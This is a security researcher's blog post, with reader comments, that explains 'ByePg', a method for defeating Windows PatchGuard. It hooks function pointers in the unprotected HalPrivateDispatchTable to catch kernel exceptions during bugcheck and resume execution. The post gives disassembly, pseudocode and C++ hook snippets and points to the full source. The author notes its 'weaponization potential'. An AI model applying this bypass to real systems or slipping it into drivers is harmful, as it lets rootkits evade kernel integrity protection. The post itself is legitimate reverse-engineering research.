ByePg: Defeating Patchguard using Exception-hooking

Now I know what you are thinking, exception hooks? …in kernel-mode? Yes, it is certainly is not as easy as a mere call to kernel32!AddVectoredExceptionHandler, but with some thinking out of the box we actually can implement a system-wide exception handler. As much as Microsoft wants you to forget, filling WDK with abstractions over abstractions, frightening you with their fearsome guard dog PatchGuard barking at anything and everything, your driver is executing in kernel-mode. That is as high as the privileges get without a hypervisor.

The trick is to remember that exception handlers, system call routines, thread scheduling, anything you can imagine is implemented by an image called ntoskrnl.exe, executed and mapped at the same level as your code.

0x0: Birth of an exception

Each hardware exception has an interrupt dispatch table index associated with it. Entry handling page faults is at index 0xE, breakpoints at 0x3 and so on. When the processor encounters an exception during the execution, it disables interrupts, sets the code segment according to the entry, if the interrupted routine was running in user-mode fetches the kernel stack pointer from TSS.RSP0, otherwise either 16-byte aligns the current RSP or fetches it from interrupt stack table as requested by the entry. After this is done it pushes the previous SS:RSP, EFLAGS, CS:RIP and optionally an error code to the new stack and jumpts to the interrupt service routine.

The processor’s work is pretty much done at this point and control is handed to ntoskrnl which allocates a KTRAP_FRAME in the stack, handles the mode switch if relevant and saves certain registers and processor-states such as MxCsr. The handling after this stage is exception-dependent but mostly ends up either at KiExceptionDispatch or KiBugCheckDispatch. KiDebugTrapOrFault and KiDoubleFaultAbort would be good examples respectively.

Now let’s move on to analysing both control flows in terms of how they handle an exception, specifically a kernel-mode one as we are mainly concerned about catching kernel-mode exceptions. I’ll be using a relatively old ntoskrnl.exe sample from Windows 8 as it contains less mitigation-related boilerplate.

0x1.1: KiExceptionDispatch a.k.a. 🤔

Like most interrupt handling related functions in ntoskrnl, KiExceptionDispatch takes an implicit argument Rbp pointing at KTRAP_FRAME + FrameSize (128 bytes), an exception code in Ecx, number of parameters in Edx, and exception address in R8.

It starts by allocating and (partially) filling a KEXCEPTION_FRAME structure; essentially saving the non-volatile registers as seen below:

.text:000000014006EA80      KiExceptionDispatch proc near           ; CODE XREF: KiDivideErrorFault+EF
.text:000000014006EA80                                              ; KiDebugTrapOrFault+19D ...
.text:000000014006EA80 				sub     rsp, 1D8h
.text:000000014006EA87 				lea     rax, [rsp+1D8h+var_D8]
.text:000000014006EA8F 				movaps  [rsp+1D8h+var_1A8], xmm6
.text:000000014006EA94 				movaps  [rsp+1D8h+var_198], xmm7
.text:000000014006EA99 				movaps  [rsp+1D8h+var_188], xmm8
.text:000000014006EA9F 				movaps  [rsp+1D8h+var_178], xmm9
.text:000000014006EAA5 				movaps  [rsp+1D8h+var_168], xmm10
.text:000000014006EAAB 				movaps  xmmword ptr [rax-80h], xmm11
.text:000000014006EAB0 				movaps  xmmword ptr [rax-70h], xmm12
.text:000000014006EAB5 				movaps  xmmword ptr [rax-60h], xmm13
.text:000000014006EABA 				movaps  xmmword ptr [rax-50h], xmm14
.text:000000014006EABF 				movaps  xmmword ptr [rax-40h], xmm15
.text:000000014006EAC4 				mov     [rax], rbx
.text:000000014006EAC7 				mov     [rax+8], rdi
.text:000000014006EACB 				mov     [rax+10h], rsi
.text:000000014006EACF 				mov     [rax+18h], r12
.text:000000014006EAD3 				mov     [rax+20h], r13
.text:000000014006EAD7 				mov     [rax+28h], r14
.text:000000014006EADB 				mov     [rax+30h], r15
.text:000000014006EADF 				mov     rax, gs:188h
.text:000000014006EAE8 				bt      dword ptr [rax+4Ch], 0Bh
.text:000000014006EAED 				jnb     short SkipUms
.text:000000014006EAEF 				test    byte ptr [rbp+0F0h], 1
.text:000000014006EAF6 				jz      short SkipUms
.text:000000014006EAF8 				call    KiUmsExceptionEntry
.text:000000014006EAFD      SkipUms:  

Afterwards it creates an EXCEPTION_RECORD associated with the current exception and passes all of this data to KiDispatchException, it also continues execution if KiDispatchException returns but I omitted that part as it is not relevant to us.

.text:000000014006EAFD 				lea     rax, [rsp+1D8h+Src]
.text:000000014006EB05 				mov     [rax], ecx
.text:000000014006EB07 				xor     ecx, ecx
.text:000000014006EB09 				mov     [rax+4], ecx
.text:000000014006EB0C 				mov     [rax+8], rcx
.text:000000014006EB10 				mov     [rax+10h], r8
.text:000000014006EB14 				mov     [rax+18h], edx
.text:000000014006EB17 				mov     [rax+20h], r9
.text:000000014006EB1B 				mov     [rax+28h], r10
.text:000000014006EB1F 				mov     [rax+30h], r11
.text:000000014006EB23 				mov     r9b, [rbp+0F0h]
.text:000000014006EB2A 				and     r9b, 1
.text:000000014006EB2E 				mov     [rsp+1D8h+var_1B8], 1 ; char
.text:000000014006EB33 				lea     r8, [rbp-80h]
.text:000000014006EB37 				mov     rdx, rsp
.text:000000014006EB3A 				mov     rcx, rax        ; Src
.text:000000014006EB3D 				call    KiDispatchException

KiDispatchException is a little long to analyze instruction by instruction but to simply put it preprocesses the exception by invoking KiPreprocessFault, combines the information from KTRAP_FRAME and KEXCEPTION_FRAME into a single CONTEXT structure, checks for any SEH handlers using RtlDispatchException and jumps to KeBugCheckEx on failure.

0x1.2: KiBugCheckDispatch, a.k.a. Nope 👋

Similar to KiExceptionDispatch, this routine also partially fills a KEXCEPTION_FRAME on stack but instead afterwards directly jumps to KeBugCheckEx.

.text:000000014006EA00 KiBugCheckDispatch proc near            ; CODE XREF: KiInterruptHandler:loc_14006ADC4
.text:000000014006EA00                                         ; KiNmiInterruptStart+24A
.text:000000014006EA00                 sub     rsp, 138h
.text:000000014006EA07                 lea     rax, [rsp+100h]
.text:000000014006EA0F                 movaps  xmmword ptr [rsp+30h], xmm6
.text:000000014006EA14                 movaps  xmmword ptr [rsp+40h], xmm7
.text:000000014006EA19                 movaps  xmmword ptr [rsp+50h], xmm8
.text:000000014006EA1F                 movaps  xmmword ptr [rsp+60h], xmm9
.text:000000014006EA25                 movaps  xmmword ptr [rsp+70h], xmm10
.text:000000014006EA2B                 movaps  xmmword ptr [rax-80h], xmm11
.text:000000014006EA30                 movaps  xmmword ptr [rax-70h], xmm12
.text:000000014006EA35                 movaps  xmmword ptr [rax-60h], xmm13
.text:000000014006EA3A                 movaps  xmmword ptr [rax-50h], xmm14
.text:000000014006EA3F                 movaps  xmmword ptr [rax-40h], xmm15
.text:000000014006EA44                 mov     [rax], rbx
.text:000000014006EA47                 mov     [rax+8], rdi
.text:000000014006EA4B                 mov     [rax+10h], rsi
.text:000000014006EA4F                 mov     [rax+18h], r12
.text:000000014006EA53                 mov     [rax+20h], r13
.text:000000014006EA57                 mov     [rax+28h], r14
.text:000000014006EA5B                 mov     [rax+30h], r15
.text:000000014006EA5F                 mov     [rsp+20h], r10
.text:000000014006EA64                 call    KeBugCheckEx

0x2: KeBugCheckEx

This routine is about a little guy that lives in a blue world, and all day and all night and everything he sees is just blue. It paints the screen blue and reboots.

Jokes aside, although this routine may be mainly responsible for displaying a bluescreen to the user and rebooting, it does a lot of processing before that, so no, not that simple. This is where the magic of our little exploit lives so let’s analyse the routine and every little detail associated with it.

It starts with disabling interrupts and saving caller context together with processor state to the processor control block, the seemingly “weird” modifications on the context following the calls is to make sure the saved Rcx, Rsp, Rip, EFlags reflects the caller state and not the bug-check routine itself.

.text:00000001401C10A0 KeBugCheckEx proc near:                 ; CODE XREF: CcGetDirtyPagesHelper+45F
.text:00000001401C10A0                                         ; CcUnpinFileDataEx+3CE
.text:00000001401C10A0                 mov     [rsp+8], rcx
.text:00000001401C10A5                 mov     [rsp+10h], rdx
.text:00000001401C10AA                 mov     [rsp+18h], r8
.text:00000001401C10AF                 mov     [rsp+20h], r9
.text:00000001401C10B4                 pushfq
.text:00000001401C10B5                 sub     rsp, 30h
.text:00000001401C10B9                 cli
.text:00000001401C10BA                 mov     rcx, gs:20h
.text:00000001401C10C3                 mov     rcx, [rcx+62C0h]
.text:00000001401C10CA                 call    RtlCaptureContext
.text:00000001401C10CF                 mov     rcx, gs:20h
.text:00000001401C10D8                 add     rcx, 100h
.text:00000001401C10DF                 call    KiSaveProcessorControlState
.text:00000001401C10E4                 mov     r10, gs:20h
.text:00000001401C10ED                 mov     r10, [r10+62C0h]
.text:00000001401C10F4                 mov     rax, [rsp+40h]
.text:00000001401C10F9                 mov     [r10+80h], rax
.text:00000001401C1100                 mov     rax, [rsp+30h]
.text:00000001401C1105                 mov     [r10+44h], rax
.text:00000001401C1109                 lea     rax, KeBugCheckRetPtr
.text:00000001401C1110                 cmp     rax, [rsp+38h]
.text:00000001401C1115                 jnz     short KeBugCheckEx_Call
.text:00000001401C1117                 lea     r8, [rsp+68h]
.text:00000001401C111C                 lea     r9, KeBugCheck
.text:00000001401C1123                 jmp     short KeBugCheck_Call_0
.text:00000001401C1125 KeBugCheckEx_Call:                      ; CODE XREF: .text:00000001401C1115↑j
.text:00000001401C1125                 lea     r8, [rsp+38h]
.text:00000001401C112A                 lea     r9, KeBugCheckEx
.text:00000001401C1131 KeBugCheck_Call_0:                      ; CODE XREF: .text:00000001401C1123↑j
.text:00000001401C1131                 mov     [r10+98h], r8
.text:00000001401C1138                 mov     [r10+0F8h], r9

Then it saves the IRQL of the caller into KPRCB.DebuggerSavedIRQL, raises the IRQL to DISPATCH_LEVEL to make sure execution does not switch between processors and enables interrupts if caller had them enabled.

.text:00000001401C113F                 mov     rax, cr8
.text:00000001401C1143                 mov     gs:5D18h, al
.text:00000001401C114B                 cmp     al, 2
.text:00000001401C114D                 jge     short IrqlAlreadyAboveDispatchLevel
.text:00000001401C114F                 mov     ecx, 2
.text:00000001401C1154                 mov     cr8, rcx
.text:00000001401C1158 IrqlAlreadyAboveDispatchLevel:          ; CODE XREF: .text:00000001401C114D↑j
.text:00000001401C1158                 mov     rax, [rsp+30h]
.text:00000001401C115D                 and     rax, 200h
.text:00000001401C1163                 jz      short CallerInterruptsDisabled
.text:00000001401C1165                 sti
.text:00000001401C1166 CallerInterruptsDisabled:               ; CODE XREF: .text:00000001401C1163↑j

Afterwards it increments the volatile integer KiHardwareTrigger and simply redirects to KeBugCheck2.

.text:00000001401C1166                 lock inc cs:KiHardwareTrigger
.text:00000001401C116D                 mov     rcx, [rsp+40h]
.text:00000001401C1172                 mov     qword ptr [rsp+28h], 0
.text:00000001401C117B                 lea     rax, KeBugCheckRetPtr
.text:00000001401C1182                 cmp     rax, [rsp+38h]
.text:00000001401C1187                 jz      short KeBugCheck_Call
.text:00000001401C1189                 mov     rax, [rsp+60h]
.text:00000001401C118E                 mov     [rsp+20h], rax
.text:00000001401C1193                 mov     r9, [rsp+58h]
.text:00000001401C1198                 mov     r8, [rsp+50h]
.text:00000001401C119D                 mov     rdx, [rsp+48h]
.text:00000001401C11A2                 call    KeBugCheck2
.text:00000001401C11A2 ; ---------------------------------------------------------------------------
.text:00000001401C11A7                 align 8
.text:00000001401C11A8 KeBugCheck_Call:                        ; CODE XREF: .text:00000001401C1187↑j
.text:00000001401C11A8                 mov     qword ptr [rsp+20h], 0
.text:00000001401C11B1                 xor     r9d, r9d
.text:00000001401C11B4                 xor     r8d, r8d
.text:00000001401C11B7                 xor     edx, edx
.text:00000001401C11B9                 call    KeBugCheck2

KeBugCheck2 implementation varies a lot depending on the Windows version but we mostly care about the shared logic. All implementations start with trying to acquire the KiBugCheckActive lock as described here:

	volatile LONG Value;
		volatile LONG Active				: 3;	// If active set to 0b111, otherwise 0b000. Not sure about what each flag means.
		volatile LONG Unknown				: 1;	// = (UninitializedDwordOnStack & 0x1E) & 1, what ???
		volatile LONG OwnerProcessorIndex	: 28;	// Processor index of the processor that initiated BugCheck state

A flag is set to indicate whether the current processor is the master processor or slave depending on whether it acquired the lock succesfully and things start to get interesting afterwards.

Windows 8 and 8.1: (8 just doesn’t have the HalTimerWatchdogStop call)

// We will come back to this later...
if ( !IsMaster )
  goto HowAmISupposedToQuitFromThisSpinlockLol;

// Call HalTimerWatchdogStop from HalPrivateDispatchTable

// Mask 0x4000 off HV enlightenments
HvlEnlightenments &= ~0x4000;

// KiNmiInProgress checks
bool NmiFlag = false;
int NmiIdx = 0;
if ( KiNmiInProgress )
  while ( !NmiData[NmiIdx] )
    if ( ++NmiIdx >= (unsigned __int16)KiNmiInProgress )
      goto NoNmi;
  NmiFlag = true;

// Call HalPrepareForBugcheck from HalPrivateDispatchTable

Windows 10:

// We will come back to this later...
if ( !IsMaster )
  goto HowAmISupposedToQuitFromThisSpinlockLol;

// Call HalTimerWatchdogStop from HalPrivateDispatchTable

// Mask 0x2000 off HV enlightenments
HvlEnlightenments &= ~0x4000;

// Save BugCheck progress, what ???

// KiNmiInProgress checks
bool NmiFlag = KeIsEmptyAffinityEx(&KiNmiInProgress);

// Call HalPrepareForBugcheck from HalPrivateDispatchTable

We finally find what we wanted. Now given that I didn’t reverse the bugcheck routines because I was deeply interested in how Windows managed to draw a sad face, this means we can exploit something here. Take a guess, hint: HalPrivateDispatchTable. Where does HalPrivateDispatchTable reside? .data. Is it protected by PatchDoggo? Nope.

0x3: ByeBlue

We want to hook as early as possible within this routine, so we’ll go for HalTimerWatchdogStop where possible (dispatch table version version >= 23) and HalPrepareForBugcheck otherwise. First, let’s declare the table definition:

using FnHalPrepareForBugcheck = void( __stdcall )( BOOLEAN NmiFlag );

using FnHalTimerWatchdogStop = NTSTATUS( __stdcall )();

#pragma pack(push, 1)
		ULONG Version;
			FnHalPrepareForBugcheck* HalPrepareForBugcheck;
			FnHalTimerWatchdogStop* HalTimerWatchdogStop;
#pragma pack(pop)

// Import HalPrivateDispatchTable
extern "C" __declspec( dllimport ) HAL_PRIVATE_DISPATCH_TABLE HalPrivateDispatchTable;

Hooking the table is very simple:

if ( HalPrivateDispatchTable.Version > HAL_PDT_TIMER_WATCHDOG_STOP_MIN_VERSION )
	// Hook HalTimerWatchdogStop
	HalTimerWatchdogStopOrig = HalPrivateDispatchTable.HalTimerWatchdogStop;
	HalPrivateDispatchTable.HalTimerWatchdogStop = &HkHalTimerWatchdogStop;
else if ( HalPrivateDispatchTable.Version > HAL_PDT_PREPARE_FOR_BUGCHECK_MIN_VERSION )
	// Hook HalPrepareForBugcheck
	HalPrepareForBugcheckOrig = HalPrivateDispatchTable.HalPrepareForBugcheck;
	HalPrivateDispatchTable.HalPrepareForBugcheck = &HkHalPrepareForBugcheck;

Small note, within HkHalTimerWatchdogStop we need to check whether the return address is within KeBugCheck2 or not just incase it is called from somewhere else.

Now we need to extract the CONTEXT of the interrupted routine from KeBugCheck2 in order to be able to continue execution. We can simply parse the arguments like so:

ULONG BugCheckCode = PrcbContext->Rcx;
ULONG64 BugCheckArgs[] = 
	*( ULONG64* ) ( PrcbContext->Rsp + 0x28 )

// Collect information about the exception based on bugcheck code
switch ( BugCheckCode )
		// No context formed, read from trap frame, can ignore exception frame 
		// as it should be the same as KeBugCheckEx caller context
		Tf = ( KTRAP_FRAME* ) ( PrcbContext->Rbp - 0x80 );
		PrcbContext->Rax = Tf->Rax;
		PrcbContext->Rcx = Tf->Rcx;
		PrcbContext->Rdx = Tf->Rdx;
		PrcbContext->R8 = Tf->R8;
		PrcbContext->R9 = Tf->R9;
		PrcbContext->R10 = Tf->R10;
		PrcbContext->R11 = Tf->R11;
		PrcbContext->Rbp = Tf->Rbp;
		PrcbContext->Xmm0 = Tf->Xmm0;
		PrcbContext->Xmm1 = Tf->Xmm1;
		PrcbContext->Xmm2 = Tf->Xmm2;
		PrcbContext->Xmm3 = Tf->Xmm3;
		PrcbContext->Xmm4 = Tf->Xmm4;
		PrcbContext->Xmm5 = Tf->Xmm5;
		PrcbContext->Rip = Tf->Rip;
		PrcbContext->Rsp = Tf->Rsp;
		PrcbContext->SegCs = Tf->SegCs;
		PrcbContext->SegSs = Tf->SegSs;
		PrcbContext->EFlags = Tf->EFlags;
		ContextRecord = PrcbContext;
		ExceptionCode = BugCheckArgs[ 0 ];
		ExceptionCode = BugCheckArgs[ 0 ];
		ExceptionAddress = BugCheckArgs[ 1 ];
		ExceptionRecord = ( EXCEPTION_RECORD* ) BugCheckArgs[ 2 ];
		ContextRecord = ( CONTEXT* ) BugCheckArgs[ 3 ];
		ExceptionCode = BugCheckArgs[ 0 ];
		ExceptionAddress = BugCheckArgs[ 1 ];
		ContextRecord = ( CONTEXT* ) BugCheckArgs[ 2 ];
		ExceptionCode = BugCheckArgs[ 0 ];
		ExceptionAddress = BugCheckArgs[ 1 ];
		return false;

// Scan for context if no context pointer could be extracted
if ( !ContextRecord )
	constexpr LONG ContextAlignment = __alignof( CONTEXT );
	ULONG64 StackIt = BugCheckCtx->Rsp & ~( ContextAlignment - 1 );

	while ( ContextRecord = ( CONTEXT* ) StackIt )
		if ( ( ContextRecord->ContextFlags == 0x10005F || ContextRecord->ContextFlags == 0x10001F ) &&
			 ContextRecord->SegCs == 0x0010 &&
			 ContextRecord->SegDs == 0x002B &&
			 ContextRecord->SegEs == 0x002B &&
			 ContextRecord->SegFs == 0x0053 &&
			 ContextRecord->SegGs == 0x002B &&
			 ( ContextRecord->Rip == ExceptionAddress || ContextRecord->Rip == ( ExceptionAddress - 1 ) ) &&
			 ContextRecord->Rsp > 0xFFFF080000000000 )
		StackIt += ContextAlignment;

Let’s give it a try!

BugCheckHook::Set( [ ] ()
	// Try parsing BugCheck parameters
	CONTEXT* ContextRecord = nullptr;
	EXCEPTION_RECORD ExceptionRecord;
	if ( !BugCheck::Parse( &ContextRecord, &ExceptionRecord ) ) return;
	// If it is due to #BP
	if ( ExceptionRecord.ExceptionCode == STATUS_BREAKPOINT )
		// Restore global state changes
		*KiBugCheckActive = 0;
		*KiHardwareTrigger = 0;

		// Log
		Log( "Discarding #BP at RIP = %p!\n", ContextRecord->Rip );

		// Continue execution
		BugCheck::Continue( ContextRecord );
} );


Yay, success! Right? No. Try this instead and watch your entire system lock down:

KeIpiGenericCall( [ ] ( ULONG64 x )
	return 0ull;
}, 0 );

0x4: Concurrency is a thing

This happens because KeBugCheck is not meant to be executed multiple times, in fact it protects itself from this exact state using the KiBugCheckActive spinlock. If two or more processors raise an exception that was not meant to be raised concurrently and end up in KeBugCheck2, one will be taking the slave branch I called HowAmISupposedToQuitFromThisSpinlockLol previously, appropriately.

Providing the pseudocode for this branch should be enough to justify the naming of the branch.

KeRaiseIrql( HIGH_LEVEL );
if ( KeGetCurrentProcessorIndex() != ( KiBugCheckActive >> 4 ) )
	while ( 1 )
		if ( KeGetCurrentPrcb()->IpiFrozen == 5 )
			KiFreezeTargetExecution( nullptr, nullptr );

Unless we send a NMI manually, only way to escape from this is to somehow take control within KiFreezeTargetExecution. Let’s assume we set IpiFrozen=5 and analyze KiFreezeTargetExecution.

void KiFreezeTargetExecution(void*, void*)
  if ( KiFreezeExecutionLock || KiFreezeLockBackup || (KiBugCheckActive & 3) )
    if ( ViVerifierEnabled )
    KeGetCurrentPrcb()->IpiFrozen = 2;
    HalPrivateDispatchTable.HalNotifyProcessorFreeze(TRUE, FALSE);

HalPrivateDispatchTable is a gift that never stops giving 🙂

Freezing a processor only happens during boot, debugger and bug-check related events none of which we care. So the easiest way to get out of this situation is to set KiFreezeExecutionLock to true and IpiFrozen for each KPCRB to 5.

All of our HAL callbacks will clear KiBugCheckActive, decrement KiHardwareTrigger, reset KPCRB->IpiFrozen to 5 if HalNotifyProcessorFreeze and call a generic HandleBugCheck as implemented below:

// Get state at KeBugCheck(Ex) call
CONTEXT* BugCheckCtx = GetProcessorContext();
KSPECIAL_REGISTERS* BugCheckState = GetProcessorState();

// Lower IRQL to DISPATCH_LEVEL where possible
if ( BugCheckCtx->EFlags & 0x200 )
	__writecr8( BugCheckState->Cr8 >= DISPATCH_LEVEL ? BugCheckState->Cr8 : DISPATCH_LEVEL );

// Extract arguments of the original call, BugCheck::Parse may clobber them
ULONG BugCheckCode = BugCheckCtx->Rcx;
ULONG64 BugCheckArgs[] = 
	*( ULONG64* ) ( BugCheckCtx->Rsp + 0x28 )

// Try parsing parameters
CONTEXT* ContextRecord = nullptr;
if ( BugCheck::Parse( &ContextRecord, &ExceptionRecord, BugCheckCtx ) )
	// Try handling exception
	if ( Cb( ContextRecord, &ExceptionRecord ) == EXCEPTION_CONTINUE_EXECUTION )
		// Revert IRQL to match interrupted routine
		__writecr8( BugCheckState->Cr8 );

		// Restore context (These flags make the control flow a little simpler :wink:)
		RtlRestoreContext( ContextRecord, nullptr );
		__fastfail( 0 );

// Failed to handle, show blue screen
HlCallback = nullptr;
ProcessorIpiFrozen() = 0;
*KiFreezeExecutionLock = false;
return KeBugCheckEx( BugCheckCode, BugCheckArgs[ 0 ], BugCheckArgs[ 1 ], BugCheckArgs[ 2 ], BugCheckArgs[ 3 ] );

Let’s give our previous test another try with:

ExceptionHandler::HlCallback = [ ] ( CONTEXT* ContextRecord, EXCEPTION_RECORD* ExceptionRecord ) -> LONG
	// If it is due to #BP
	if ( ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT )
		Log( "Discarding #BP at RIP = %p, Processor ID: %d, IRQL: %d!\n", ContextRecord->Rip, KeGetCurrentProcessorIndex(), GetProcessorState()->Cr8 );

		// Continue execution

KeIpiGenericCall( [ ] ( ULONG64 x )
	for ( int i = 0; i < 4; i++ )
	return 0ull;
}, 0 );

We are now officialy done. Weaponization potential of this is only limited by your creativity 🙂

All source code along with two examples can be found at:

Can Bölük

Security researcher and reverse engineer; mostly interested in Windows kernel development and low-level programming.
Founder of Verilave Inc.


  1. Avatardblydm Reply

    I have a question. KeBugCheckEx is called when system crashing. So, the handler should be called only once? However, your last picture shows that it is called not only once. Why?

    1. Can BölükCan Bölük Post author Reply

      Because __debugbreak()’ing in the IPI makes every processor call into KeBugCheckEx and as we fixed the concurrency / lock issue in section 0x4, we still get our callbacks called, from which we restore system state.

  2. AvatarYuri Reply

    First of all, great work! I have a question regarding Windows 7. I tried it out on Windows 10 and everything seems to work, but on Windows 7 I get 0x0 addresses for ntoskrnl.exe, KiFreezeExecutionLock and KPRCB_IpiFrozen. Could you give me hint where to start making it work?

Leave a Reply

Your email address will not be published. Required fields are marked *